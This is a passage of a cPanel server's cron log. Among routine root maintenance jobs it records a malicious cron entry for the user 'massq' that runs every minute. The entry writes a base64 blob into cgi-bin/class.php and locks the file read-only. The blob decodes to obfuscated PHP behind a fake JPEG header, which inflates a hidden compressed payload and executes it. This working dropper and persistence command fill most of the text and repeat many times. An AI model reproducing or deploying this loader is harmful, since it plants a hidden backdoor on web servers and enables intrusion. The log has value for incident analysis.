vFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:12:01 server CROND[19347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:12:01 server CROND[19348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:12:01 server CROND[19349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:12:01 server CROND[19350]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:13:01 server CROND[19741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:13:01 server CROND[19742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:13:01 server CROND[19743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:14:01 server CROND[20196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:14:01 server CROND[20198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:14:01 server CROND[20197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:15:01 server CROND[20612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:15:01 server CROND[20614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:15:01 server CROND[20617]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:15:01 server CROND[20618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:15:01 server CROND[20615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:15:01 server CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 11:15:01 server CROND[20629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:15:01 server CROND[20628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:16:01 server CROND[21570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:16:01 server CROND[21571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:16:01 server CROND[21569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:17:01 server CROND[22077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:17:01 server CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:17:01 server CROND[22079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:18:01 server CROND[22513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:18:01 server CROND[22514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:18:01 server CROND[22512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:19:01 server CROND[23069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:19:01 server CROND[23070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:19:01 server CROND[23071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:20:01 server CROND[23492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:20:01 server CROND[23494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:20:01 server CROND[23508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:20:01 server CROND[23513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:20:01 server CROND[23515]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:20:01 server CROND[23511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:20:01 server CROND[23516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:20:01 server CROND[23514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:20:01 server CROND[23512]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:21:01 server CROND[24359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:21:01 server CROND[24360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:21:01 server CROND[24361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:22:01 server CROND[24841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:22:01 server CROND[24844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:22:01 server CROND[24842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:23:01 server CROND[25232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:23:01 server CROND[25233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:23:01 server CROND[25234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:24:01 server CROND[25630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:24:01 server CROND[25631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
